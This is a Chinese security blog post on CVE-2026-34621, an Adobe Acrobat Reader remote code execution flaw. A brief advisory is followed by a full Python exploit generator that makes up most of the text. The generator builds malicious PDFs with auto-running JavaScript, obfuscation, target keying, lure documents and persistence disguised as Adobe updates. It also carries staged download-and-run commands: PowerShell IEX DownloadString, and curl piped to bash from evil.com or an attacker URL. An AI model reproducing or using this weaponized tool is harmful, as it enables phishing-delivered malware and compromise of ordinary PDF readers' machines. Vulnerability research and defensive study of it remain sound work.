文章总结： 该文档详细分析了CVE-2026-34621AdobeAcrobatReader远程代码执行漏洞，漏洞源于JavaScript引擎原型属性修改控制不当，攻击者可通过恶意PDF文件在受害者系统执行任意代码。影响版本包括Acrobat/ReaderDC26.001.21367及以下和Acrobat202424.001.30356及以下。文档提供了GitHub上的POC链接，包含跨平台漏洞利用生成器，支持多系统检测、混淆技术和持久化安装等功能，建议用户及时更新软件至安全版本。 综合评分： 86 文章分类： 漏洞分析,漏洞POC,WEB安全,应用安全,解决方案
CVE-2026-34621｜Adobe Acrobat Reader远程代码执行漏洞（POC）
alicy alicy
信安百科
2026年4月20日 09:01 河北
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0x00 前言
Adobe Acrobat Reader是由美国Adobe公司开发的一款全球广泛使用的免费PDF处理工具，支持Windows、macOS、iOS、Android等多平台运行，截至2026年安装人数已超6.35亿。
它不仅能精准查看、打印PDF文档，还具备注释、填写表单、添加电子签名等实用功能，同时支持文档协作与安全共享，其“受保护模式”和定期安全更新为文档安全提供保障。
0x01 漏洞描述
漏洞源于JavaScript引擎未能正确控制对象原型属性的修改，攻击者可以利用该漏洞制作恶意的PDF文件，诱导受害者打开特制的文件，在当前用户的上下文中执行任意代码。
0x02 CVE编号
CVE-2026-34621
0x03 影响版本
Acrobat DC <= 26.001.21367Acrobat Reader DC <= 26.001.21367Acrobat 2024 <= 24.001.30356
0x04 漏洞详情
POC：
https://github.com/NULL200OK/cve_2026_34621_advanced
#!/usr/bin/env python3"""CVE-2026-34621 - Advanced Cross-Platform Exploit Generator===========================================================Generates a malicious PDF that exploits Adobe Acrobat/Readerprototype pollution + sandbox escape vulnerability.
Features:- OS auto-detection (Windows, macOS, mobile fallback)- Multiple evasion techniques (obfuscation, keying, delays)- Staged payloads and fileless execution- Persistence installation- Lure PDF merging- Multiple trigger vectors- Comprehensive reporting
FOR AUTHORIZED SECURITY TESTING ONLY."""
import argparseimport base64import jsonimport osimport randomimport reimport stringimport sysimport timefrom datetime import datetimefrom html import escape as html_escapefrom textwrap import dedent
print("""
███╗░░██╗██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░░█████╗░░█████╗░ ░█████╗░██╗░░██╗████╗░██║██║░░░██║██║░░░░░██║░░░░░╚════██╗██╔══██╗██╔══██╗ ██╔══██╗██║░██╔╝██╔██╗██║██║░░░██║██║░░░░░██║░░░░░░░███╔═╝██║░░██║██║░░██║ ██║░░██║█████═╝░██║╚████║██║░░░██║██║░░░░░██║░░░░░██╔══╝░░██║░░██║██║░░██║ ██║░░██║██╔═██╗░██║░╚███║╚██████╔╝███████╗███████╗███████╗╚█████╔╝╚█████╔╝ ╚█████╔╝██║░╚██╗╚═╝░░╚══╝░╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░╚════╝░ ░╚════╝░╚═╝░░╚═╝ NULL200OK 💀🔥created by NABEEL 🔥💀CVE-2026-34621 - Advanced Cross-Platform Exploit Generator===========================================================Generates a malicious PDF that exploits Adobe Acrobat/Readerprototype pollution + sandbox escape vulnerability.
Features:- OS auto-detection (Windows, macOS, mobile fallback)- Multiple evasion techniques (obfuscation, keying, delays)- Staged payloads and fileless execution- Persistence installation- Lure PDF merging- Multiple trigger vectors- Comprehensive reporting
FOR AUTHORIZED SECURITY TESTING ONLY.
""")
try: from PyPDF2 import PdfReader, PdfWriter PYPDF2_AVAILABLE = Trueexcept ImportError: PYPDF2_AVAILABLE = False print("[!] PyPDF2 not installed. Lure PDF merging will be disabled.", file=sys.stderr)
# ============================================================================# 1. UTILITIES# ============================================================================
class RandomUtils: """Random generation helpers for polymorphism."""
@staticmethod def random_string(length=8, chars=None): """Generate a random alphanumeric string.""" if chars is None: chars = string.ascii_letters + string.digits return ''.join(random.choices(chars, k=length))
@staticmethod def random_var_name(): """Generate a random JavaScript variable name.""" return '_' + RandomUtils.random_string(random.randint(6, 12), string.ascii_lowercase)
@staticmethod def random_comment(): """Generate a random junk comment.""" comments = [ "/* performance optimization */", "/* debug: " + RandomUtils.random_string(20) + " */", "// TODO: refactor", "// FIXME: " + RandomUtils.random_string(10), "/* " + RandomUtils.random_string(30) + " */", ] return random.choice(comments)
# ============================================================================# 2. JAVASCRIPT OBFUSCATOR (Polymorphic, Multi-Level)# ============================================================================
class JavaScriptObfuscator: """ Apply obfuscation to JavaScript payload. Supports multiple levels and polymorphic generation. """
def __init__(self, seed=None): if seed: random.seed(seed)
def obfuscate(self, js_code, level=1, polymorphic=True): """ Obfuscate JavaScript code. level: 1 (basic), 2 (intermediate), 3 (advanced) polymorphic: if True, uses random elements each run """ if level == 0: return js_code
# Level 1: String to char code, variable renaming if level >= 1: js_code = self._string_to_charcode(js_code) if polymorphic: js_code = self._rename_variables(js_code)
# Level 2: Dead code injection, comment spam if level >= 2: js_code = self._inject_dead_code(js_code) js_code = self._add_junk_comments(js_code)
# Level 3: Base64 encoding with eval wrapper if level >= 3: js_code = self._base64_wrap(js_code) js_code = self.obfuscate(js_code, level=2, polymorphic=False) # double obfuscate
return js_code
def _string_to_charcode(self, js_code): """Convert string literals to String.fromCharCode() calls.""" def replacer(match): s = match.group(1) if len(s) < 3: # skip short strings return match.group(0) codes = ','.join(str(ord(c)) for c in s) return f'String.fromCharCode({codes})'
# Match double-quoted strings (simple, not perfect but effective) pattern = r'"([^"\\]*(\\.[^"\\]*)*)"' return re.sub(pattern, replacer, js_code)
def _rename_variables(self, js_code): """Replace variable names with random ones.""" var_pattern = r'\b(var|let|const)\s+([a-zA-Z_$][a-zA-Z0-9_$]*)' func_pattern = r'\bfunction\s+([a-zA-Z_$][a-zA-Z0-9_$]*)'
var_names = set(re.findall(var_pattern, js_code)) func_names = set(re.findall(func_pattern, js_code))
all_names = set() for _, name in var_names: all_names.add(name) all_names.update(func_names)
# Create mapping mapping = {} for name in all_names: if name not in ['app', 'util', 'console', 'Object', 'Array', 'Function', 'String', 'ActiveXObject', 'navigator', 'setTimeout', 'setInterval', 'eval', 'atob', 'btoa']: mapping[name] = self.random_var_name()
# Replace for old, new in mapping.items(): js_code = re.sub(rf'\b{old}\b', new, js_code)
return js_code
def _inject_dead_code(self, js_code): """Insert dead code blocks that never execute.""" dead_blocks = [ "if(false) { console.log('" + RandomUtils.random_string(10) + "'); }", "while(false) { break; }", "try { null.toString(); } catch(e) {}", "switch(0) { case 1: break; default: break; }", "{ let x = '" + RandomUtils.random_string(8) + "'; }", ]
lines = js_code.split('\n') new_lines = [] for line in lines: new_lines.append(line) if random.random() < 0.3 and len(line.strip()) > 0: new_lines.append(random.choice(dead_blocks))
return '\n'.join(new_lines)
def _add_junk_comments(self, js_code): """Sprinkle random comments.""" lines = js_code.split('\n') new_lines = [] for line in lines: if random.random() < 0.4 and line.strip() and not line.strip().startswith('//'): line = random.choice(['// ', '/* ', '']) + RandomUtils.random_string(15) + random.choice([' */', '']) + '\n' + line new_lines.append(line) return '\n'.join(new_lines)
def _base64_wrap(self, js_code): """Encode the entire script in base64 and eval it.""" encoded = base64.b64encode(js_code.encode()).decode() wrapper = f'eval(atob("{encoded}"));' return wrapper
@staticmethod def random_var_name(): return '_' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(8, 12)))
# ============================================================================# 3. PAYLOAD GENERATOR (Cross-Platform, Staged, Persistent)# ============================================================================
class PayloadGenerator: """ Generate JavaScript payload with OS detection, staging, persistence. """
def __init__(self, windows_cmd=None, mac_cmd=None, stage_url=None, persistence=False, delay=0, env_key=None): self.windows_cmd = windows_cmd or "calc.exe" self.mac_cmd = mac_cmd or "open /System/Applications/Calculator.app" self.stage_url = stage_url self.persistence = persistence self.delay = delay self.env_key = env_key # target hostname/username for keying
def generate(self): """Generate the complete JavaScript payload.""" # Build the core exploit logic core_js = self._build_core_exploit()
# Apply environment keying if requested if self.env_key: core_js = self._apply_environment_keying(core_js)
# Apply delay if requested if self.delay > 0: core_js = f"setTimeout(function() {{ {core_js} }}, {self.delay * 1000});"
# Wrap in self-executing function with random name for polymorphism func_name = JavaScriptObfuscator.random_var_name() wrapped = f""" (function {func_name}() {{ {core_js} }})(); """ return wrapped
def _build_core_exploit(self): """Construct the core exploit code with OS branching."""
# Build Windows payload section windows_payload = self._build_windows_payload() mac_payload = self._build_mac_payload() mobile_fallback = self._build_mobile_fallback()
js = f""" // CVE-2026-34621 Cross-Platform Exploit // Generated: {datetime.now().isoformat()}
// === Prototype Pollution (CVE-2026-34621) === try {{ Object.prototype.__defineGetter__('__trusted', function() {{ return true; }}); Object.prototype.constructor.prototype.bypass = true; Object.prototype.__proto__.privileged = true; Array.prototype.__proto__.polluted = true; }} catch(e) {{}}
// === OS Detection === var os = 'unknown'; try {{ if (typeof app !== 'undefined' && app.platform) {{ var pf = app.platform.toLowerCase(); if (pf.indexOf('win') >= 0) os = 'windows'; else if (pf.indexOf('mac') >= 0) os = 'macos'; }} if (os === 'unknown' && typeof navigator !== 'undefined') {{ var ua = navigator.userAgent.toLowerCase(); if (ua.indexOf('windows') >= 0) os = 'windows'; else if (ua.indexOf('mac') >= 0) os = 'macos'; else if (ua.indexOf('android') >= 0) os = 'android'; else if (ua.indexOf('iphone') >= 0 || ua.indexOf('ipad') >= 0) os = 'ios'; }} // Adobe-specific mobile detection if (typeof app !== 'undefined' && app.viewerType) {{ if (app.viewerType.toLowerCase().indexOf('mobile') >= 0) os = 'android'; // or ios }} }} catch(e) {{}}
// === OS-Specific Execution === try {{ if (os === 'windows') {{ {windows_payload} }} else if (os === 'macos') {{ {mac_payload} }} else {{ {mobile_fallback} }} }} catch(mainErr) {{}}
// Additional trigger: attempt privileged file read to escalate context try {{ if (typeof util !== 'undefined' && util.readFileIntoStream) {{ var path = (os === 'windows') ? 'C:\\\\Windows\\\\win.ini' : '/etc/hosts'; util.readFileIntoStream({{cDIPath: path, bEncodeBase64: true}}); }} }} catch(e) {{}} """ return js
def _build_windows_payload(self): """Generate Windows-specific execution chain.""" methods = []
# Direct command via cmd cmd_escaped = self.windows_cmd.replace('\\', '\\\\').replace('"', '\\"') methods.append(f''' // Method 1: app.launchURL with cmd.exe try {{ app.launchURL('file:///C:/Windows/System32/cmd.exe?/c ' + encodeURIComponent("{cmd_escaped}"), true); }} catch(e1) {{}} ''')
# WScript.Shell (older Windows) methods.append(f''' // Method 2: ActiveX WScript.Shell try {{ var shell = new ActiveXObject('WScript.Shell'); shell.Run("{cmd_escaped}", 0, false); }} catch(e2) {{}} ''')
# PowerShell (modern, versatile) if self.stage_url: # Staged download via PowerShell ps_cmd = f"powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('{self.stage_url}')\"" methods.append(f''' // Method 3: PowerShell staged download try {{ var shell = new ActiveXObject('WScript.Shell'); shell.Run("{ps_cmd}", 0, false); }} catch(e3) {{}} ''') else: # Direct PowerShell execution ps_cmd = f"powershell -Command \"{self.windows_cmd}\"" methods.append(f''' // Method 3: PowerShell direct try {{ var shell = new ActiveXObject('WScript.Shell'); shell.Run("{ps_cmd}", 0, false); }} catch(e3) {{}} ''')
# Persistence (if enabled) if self.persistence: persist_cmd = r'powershell -NoP -Ep Bypass -C "$p=\'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\'; Set-ItemProperty -Path $p -Name \'AdobeUpdate\' -Value \'%TEMP%\\updater.exe\'"' methods.append(f''' // Persistence: registry Run key try {{ var shell = new ActiveXObject('WScript.Shell'); shell.Run("{persist_cmd}", 0, false); }} catch(e_persist) {{}} ''')
return '\n'.join(methods)
def _build_mac_payload(self): """Generate macOS-specific execution chain.""" methods = []
# Escape for shell mac_cmd_escaped = self.mac_cmd.replace('\\', '\\\\').replace('"', '\\"')
# Terminal.app via file:// URL methods.append(f''' // Method 1: Terminal via file:// try {{ app.launchURL('file:///System/Applications/Utilities/Terminal.app/?' + encodeURIComponent("{mac_cmd_escaped}"), true); }} catch(e1) {{}} ''')
# osascript URL scheme methods.append(f''' // Method 2: osascript try {{ var script = 'do shell script "' + "{mac_cmd_escaped}" + '"'; app.launchURL('osascript://' + encodeURIComponent(script)); }} catch(e2) {{}} ''')
# Staged download via curl if self.stage_url: curl_cmd = f"curl -s {self.stage_url} | bash" methods.append(f''' // Method 3: curl pipe to bash try {{ app.launchURL('file:///System/Applications/Utilities/Terminal.app/?' + encodeURIComponent("{curl_cmd}"), true); }} catch(e3) {{}} ''')
# Persistence: LaunchAgent if self.persistence: plist = f"""<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.adobe.update</string><key>ProgramArguments</key><array><string>/bin/bash</string><string>-c</string><string>{mac_cmd_escaped}</string></array><key>RunAtLoad</key><true/></dict></plist>""" plist_b64 = base64.b64encode(plist.encode()).decode() persist_cmd = f"echo '{plist_b64}' | base64 -d > ~/Library/LaunchAgents/com.adobe.update.plist && launchctl load ~/Library/LaunchAgents/com.adobe.update.plist" methods.append(f''' // Persistence: LaunchAgent try {{ app.launchURL('file:///System/Applications/Utilities/Terminal.app/?' + encodeURIComponent("{persist_cmd}"), true); }} catch(e_persist) {{}} ''')
return '\n'.join(methods)
def _build_mobile_fallback(self): """Mobile demo behavior (since not vulnerable).""" return ''' // Mobile platforms: demo fallback (not vulnerable) try { app.launchURL('https://www.example.com', true); app.alert('Demo: This PDF would exploit CVE-2026-34621 on desktop.'); } catch(e) {} '''
def _apply_environment_keying(self, js_code): """Wrap payload with hostname/username check.""" key_check = f""" var targetKey = '{self.env_key}'; var currentKey = ''; try {{ // Try to get hostname var shell = new ActiveXObject('WScript.Shell'); currentKey = shell.ExpandEnvironmentStrings('%COMPUTERNAME%'); }} catch(e) {{ try {{ currentKey = app.runtime.prefManager.getPref('hostname'); }} catch(e2) {{ try {{ var env = this.getEnvironment(); currentKey = env.COMPUTERNAME || env.HOSTNAME; }} catch(e3) {{}} }} }} if (currentKey.toUpperCase() === targetKey.toUpperCase()) {{ {js_code} }} """ return key_check
# ============================================================================# 4. PDF GENERATOR (Pure Python, with Lure Merging)# ============================================================================
class PDFGenerator: """Generate malicious PDF with embedded JavaScript."""
def __init__(self): self.objects = []
def build_pdf(self, js_code, lure_pdf_path=None, trigger_vector='openaction'): """ Build PDF with JavaScript payload. trigger_vector: 'openaction', 'pageopen', 'doclevel' """ if lure_pdf_path and PYPDF2_AVAILABLE: return self._merge_with_lure(lure_pdf_path, js_code, trigger_vector) else: return self._build_standalone_pdf(js_code, trigger_vector)
def _build_standalone_pdf(self, js_code, trigger_vector): """Create a minimal PDF from scratch.""" pdf = "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"
# Object IDs catalog_id = 1 pages_id = 2 page_id = 3 contents_id = 4 js_action_id = 5 js_script_id = 6 names_id = 7 doc_js_id = 8
# JavaScript object js_obj = f"{js_script_id} 0 obj\n<< /JS {self._pdf_string(js_code)} /S /JavaScript >>\nendobj\n" pdf += js_obj
if trigger_vector == 'doclevel': # Document-level JavaScript (via Names dictionary) names_obj = f"{names_id} 0 obj\n<< /JavaScript {doc_js_id} 0 R >>\nendobj\n" doc_js_obj = f"{doc_js_id} 0 obj\n[ ({js_script_id} 0 R) ]\nendobj\n" pdf += names_obj + doc_js_obj catalog_extra = f" /Names {names_id} 0 R\n" action_ref = "" else: # Action object for OpenAction or Page Open action_obj = f"{js_action_id} 0 obj\n<< /S /JavaScript /JS {js_script_id} 0 R >>\nendobj\n" pdf += action_obj if trigger_vector == 'pageopen': page_action = f" /AA << /O {js_action_id} 0 R >>\n" action_ref = "" else: # openaction page_action = "" action_ref = f" /OpenAction {js_action_id} 0 R\n" catalog_extra = action_ref
# Page contents contents_obj = f"{contents_id} 0 obj\n<< /Length 100 >>\nstream\nBT /F1 12 Tf 100 700 Td (Loading document...) Tj ET\nendstream\nendobj\n" pdf += contents_obj
# Page page_obj = f"{page_id} 0 obj\n<< /Type /Page /Parent {pages_id} 0 R /Contents {contents_id} 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> >> >> {page_action if trigger_vector=='pageopen' else ''}>>\nendobj\n" pdf += page_obj
# Pages pages_obj = f"{pages_id} 0 obj\n<< /Type /Pages /Kids [{page_id} 0 R] /Count 1 >>\nendobj\n" pdf += pages_obj
# Catalog catalog_obj = f"{catalog_id} 0 obj\n<< /Type /Catalog /Pages {pages_id} 0 R {catalog_extra}>>\nendobj\n" pdf += catalog_obj
# Cross-reference and trailer xref_offset = len(pdf) pdf += f"xref\n0 {max(js_script_id, names_id, doc_js_id, js_action_id)+1}\n0000000000 65535 f \n"
# Calculate offsets (simplified) lines = pdf.split('\n') offsets = [] current = 0 for line in lines: if line.endswith(' 0 obj'): offsets.append(current) current += len(line) + 1
for offset in offsets: pdf += f"{offset:010d} 00000 n \n"
pdf += f"trailer\n<< /Size {max(js_script_id, names_id, doc_js_id, js_action_id)+1} /Root {catalog_id} 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n" return pdf
def _merge_with_lure(self, lure_path, js_code, trigger_vector): """ Inject JavaScript into an existing PDF using PyPDF2. """ try: reader = PdfReader(lure_path) writer = PdfWriter()
# Clone all pages for page in reader.pages: writer.add_page(page)
# Add JavaScript as document-level or OpenAction if trigger_vector == 'openaction': writer.add_js(js_code) # PyPDF2 adds as OpenAction else: # For other vectors, we'd need more advanced injection # Fallback to OpenAction writer.add_js(js_code)
# Write to bytes from io import BytesIO output = BytesIO() writer.write(output) return output.getvalue().decode('latin1') # Return as string for consistency except Exception as e: print(f"[!] Lure merging failed: {e}. Generating standalone PDF.", file=sys.stderr) return self._build_standalone_pdf(js_code, trigger_vector)
@staticmethod def _pdf_string(s): """Escape and format as PDF literal string.""" s = s.replace('\\', '\\\\').replace('(', '\\(').replace(')', '\\)') return f"({s})"
# ============================================================================# 5. REPORT GENERATOR (HTML, TXT, JSON)# ============================================================================
class ReportGenerator: """Generate detailed reports about the generated exploit."""
@staticmethod def generate_all(pdf_filename, js_payload, config, output_base): """Generate HTML, TXT, and JSON reports.""" html_file = output_base + "_report.html" txt_file = output_base + "_report.txt" json_file = output_base + "_config.json"
ReportGenerator._generate_html(pdf_filename, js_payload, config, html_file) ReportGenerator._generate_txt(pdf_filename, js_payload, config, txt_file) ReportGenerator._generate_json(pdf_filename, config, json_file)
return html_file, txt_file, json_file
@staticmethod def _generate_html(pdf_filename, js_payload, config, output_file): html_content = f"""<!DOCTYPE html><html><head> <title>CVE-2026-34621 Exploit Report</title> <style> body {{ font-family: 'Segoe UI', Arial, sans-serif; margin: 40px; background: #f0f2f5; }} .container {{ max-width: 1000px; margin: auto; background: white; padding: 30px; border-radius: 12px; box-shadow: 0 4px 20px rgba(0,0,0,0.08); }} h1 {{ color: #c62828; border-bottom: 2px solid #eee; padding-bottom: 10px; }} h2 {{ color: #2c3e50; margin-top: 30px; }} .badge {{ background: #1976d2; color: white; padding: 4px 10px; border-radius: 20px; font-size: 12px; font-weight: bold; }} .warning {{ background: #fff3cd; border-left: 5px solid #ffc107; padding: 15px 20px; margin: 20px 0; border-radius: 4px; }} pre {{ background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; overflow-x: auto; font-size: 13px; line-height: 1.5; }} table {{ border-collapse: collapse; width: 100%; margin: 15px 0; }} th, td {{ border: 1px solid #ddd; padding: 12px; text-align: left; }} th {{ background: #f8f9fa; font-weight: 600; }} .config-item {{ display: flex; margin-bottom: 8px; }} .config-label {{ width: 180px; font-weight: bold; color: #555; }} .config-value {{ color: #222; }} </style></head><body><div class="container"> <h1>🔐 CVE-2026-34621 Advanced Exploit Report</h1> <p><strong>Generated:</strong> {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
<div class="warning"> <strong>⚠️ WARNING:</strong> This document describes a weaponized exploit. Use only in authorized penetration testing or research environments. Unauthorized use is illegal. </div>
<h2>📄 Generated PDF</h2> <p><strong>Filename:</strong> {html_escape(pdf_filename)}</p>
<h2>⚙️ Configuration</h2> <div class="config-item"><span class="config-label">Windows Command:</span> <span class="config-value"><code>{html_escape(config.get('windows_cmd', 'N/A'))}</code></span></div> <div class="config-item"><span class="config-label">macOS Command:</span> <span class="config-value"><code>{html_escape(config.get('mac_cmd', 'N/A'))}</code></span></div> <div class="config-item"><span class="config-label">Stage URL:</span> <span class="config-value">{html_escape(config.get('stage_url', 'None'))}</span></div> <div class="config-item"><span class="config-label">Persistence:</span> <span class="config-value">{config.get('persistence', False)}</span></div> <div class="config-item"><span class="config-label">Delay (seconds):</span> <span class="config-value">{config.get('delay', 0)}</span></div> <div class="config-item"><span class="config-label">Environment Key:</span> <span class="config-value">{html_escape(config.get('env_key', 'None'))}</span></div> <div class="config-item"><span class="config-label">Obfuscation Level:</span> <span class="config-value">{config.get('obfuscation_level', 0)}</span></div> <div class="config-item"><span class="config-label">Trigger Vector:</span> <span class="config-value">{config.get('trigger_vector', 'openaction')}</span></div> <div class="config-item"><span class="config-label">Lure PDF:</span> <span class="config-value">{html_escape(config.get('lure_pdf', 'None'))}</span></div>
<h2>🎯 Payload Capabilities</h2> <table> <tr><th>Platform</th><th>Execution Method</th><th>Status</th></tr> <tr><td>Windows</td><td>cmd.exe, PowerShell, WScript.Shell</td><td><span class="badge">Vulnerable</span></td></tr> <tr><td>macOS</td><td>Terminal.app, osascript</td><td><span class="badge">Vulnerable</span></td></tr> <tr><td>Android / iOS</td><td>Demo behavior only (URL open)</td><td><span class="badge" style="background:#6c757d;">Not Vulnerable</span></td></tr> </table>
<h2>📜 Embedded JavaScript Payload</h2> <pre>{html_escape(js_payload)}</pre>
<h2>🔬 Technical Details</h2> <ul> <li><strong>CVE:</strong> 2026-34621</li> <li><strong>Vulnerability Type:</strong> Prototype Pollution → Sandbox Escape → Arbitrary Code Execution</li> <li><strong>Affected Software:</strong> Adobe Acrobat/Reader (Desktop) on Windows/macOS</li> <li><strong>Patch Versions:</strong> 26.001.21411 (Continuous), 24.001.30362 (Classic 2024)</li> </ul>
<p style="margin-top: 30px; color: #777; font-size: 0.9em;">Report generated by CVE-2026-34621 Advanced Exploit Generator</p></div></body></html>""" with open(output_file, 'w', encoding='utf-8') as f: f.write(html_content)
@staticmethod def _generate_txt(pdf_filename, js_payload, config, output_file): txt = f"""CVE-2026-34621 ADVANCED EXPLOIT REPORTGenerated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}PDF File: {pdf_filename}
CONFIGURATION-------------Windows Command: {config.get('windows_cmd', 'N/A')}macOS Command: {config.get('mac_cmd', 'N/A')}Stage URL: {config.get('stage_url', 'None')}Persistence: {config.get('persistence', False)}Delay: {config.get('delay', 0)} secondsEnvironment Key: {config.get('env_key', 'None')}Obfuscation: Level {config.get('obfuscation_level', 0)}Trigger Vector: {config.get('trigger_vector', 'openaction')}Lure PDF: {config.get('lure_pdf', 'None')}
EMBEDDED JAVASCRIPT-------------------{js_payload}
TECHNICAL NOTES---------------- CVE-2026-34621 is a prototype pollution vulnerability in Adobe Acrobat/Reader.- This exploit targets desktop versions on Windows and macOS.- Mobile platforms are not vulnerable and receive a demo fallback.- Obfuscation and environment keying are applied as configured.
WARNING: For authorized security testing only.""" with open(output_file, 'w', encoding='utf-8') as f: f.write(txt)
@staticmethod def _generate_json(pdf_filename, config, output_file): data = { "generated": datetime.now().isoformat(), "pdf_filename": pdf_filename, "configuration": config, "cve": "CVE-2026-34621", "description": "Adobe Acrobat/Reader Prototype Pollution Sandbox Escape" } with open(output_file, 'w', encoding='utf-8') as f: json.dump(data, f, indent=2)
# ============================================================================# 6. MAIN CLI# ============================================================================
def main(): parser = argparse.ArgumentParser( description='CVE-2026-34621 Advanced Cross-Platform Exploit Generator', formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""Examples: # Basic calc popup python %(prog)s -o malicious.pdf
# Staged payload with persistence and obfuscation python %(prog)s -o invoice.pdf --win "calc.exe" --stage http://10.0.0.5/payload.ps1 -p -O 2
# Environment-keyed, delayed execution with lure PDF python %(prog)s -o contract.pdf --mac "curl http://evil.com/script.sh | bash" -k "WORKSTATION01" -d 10 -l template.pdf
# Use page-open trigger instead of OpenAction python %(prog)s -o doc.pdf --trigger pageopen """ )
# Required parser.add_argument('-o', '--output', required=True, help='Output PDF filename')
# Payload options parser.add_argument('--win', default='calc.exe', help='Windows command to execute') parser.add_argument('--mac', default='open /System/Applications/Calculator.app', help='macOS command') parser.add_argument('--stage', help='URL for staged payload download (PS1 for Windows, shell script for macOS)') parser.add_argument('-p', '--persistence', action='store_true', help='Install persistence mechanism')
# Evasion options parser.add_argument('-O', '--obfuscate', type=int, choices=[0,1,2,3], default=0, help='JavaScript obfuscation level (0=none, 3=max)') parser.add_argument('-d', '--delay', type=int, default=0, help='Delay execution in seconds') parser.add_argument('-k', '--key', help='Environment key (hostname/username) - only execute if matches')
# PDF options parser.add_argument('-l', '--lure', help='Path to legitimate PDF to use as lure') parser.add_argument('--trigger', choices=['openaction', 'pageopen', 'doclevel'], default='openaction', help='JavaScript trigger vector (default: openaction)')
# Output options parser.add_argument('--no-reports', action='store_true', help='Skip generating HTML/TXT/JSON reports') parser.add_argument('--seed', type=int, help='Random seed for reproducible generation')
args = parser.parse_args()
# Set random seed if provided if args.seed: random.seed(args.seed)
# Build configuration dictionary for reporting config = { 'windows_cmd': args.win, 'mac_cmd': args.mac, 'stage_url': args.stage, 'persistence': args.persistence, 'delay': args.delay, 'env_key': args.key, 'obfuscation_level': args.obfuscate, 'trigger_vector': args.trigger, 'lure_pdf': args.lure }
print("[*] CVE-2026-34621 Advanced Exploit Generator") print(f"[*] Output PDF: {args.output}") print(f"[*] Windows command: {args.win}") print(f"[*] macOS command: {args.mac}") if args.stage: print(f"[*] Stage URL: {args.stage}") if args.persistence: print("[*] Persistence: Enabled") if args.key: print(f"[*] Environment key: {args.key}") if args.obfuscate > 0: print(f"[*] Obfuscation level: {args.obfuscate}") if args.lure: print(f"[*] Lure PDF: {args.lure}") if not PYPDF2_AVAILABLE: print("[!] PyPDF2 not installed. Lure merging disabled. Install with: pip install PyPDF2")
# Step 1: Generate base payload print("[*] Generating cross-platform payload...") payload_gen = PayloadGenerator( windows_cmd=args.win, mac_cmd=args.mac, stage_url=args.stage, persistence=args.persistence, delay=args.delay, env_key=args.key ) js_payload = payload_gen.generate()
# Step 2: Apply obfuscation if args.obfuscate > 0: print(f"[*] Applying obfuscation level {args.obfuscate}...") obfuscator = JavaScriptObfuscator(seed=args.seed) js_payload = obfuscator.obfuscate(js_payload, level=args.obfuscate)
# Step 3: Build PDF print("[*] Building PDF...") pdf_gen = PDFGenerator() pdf_content = pdf_gen.build_pdf( js_code=js_payload, lure_pdf_path=args.lure, trigger_vector=args.trigger )
# Write PDF mode = 'wb' if isinstance(pdf_content, bytes) else 'w' encoding = None if isinstance(pdf_content, bytes) else 'utf-8' with open(args.output, mode, encoding=encoding) as f: f.write(pdf_content)
print(f"[✓] PDF generated: {args.output} ({len(pdf_content)} bytes)")
# Step 4: Generate reports if not args.no_reports: print("[*] Generating reports...") base_name = os.path.splitext(args.output)[0] html_file, txt_file, json_file = ReportGenerator.generate_all( args.output, js_payload, config, base_name ) print(f"[✓] HTML report: {html_file}") print(f"[✓] TXT report: {txt_file}") print(f"[✓] JSON config: {json_file}")
print("\n[✓] Done!") print("[!] REMINDER: This exploit is for authorized security testing only.") print("[!] Ensure you have explicit permission before use.")
if __name__ == '__main__': main()
0x05 参考链接
https://helpx.adobe.com/security/products/acrobat/apsb26-43.html
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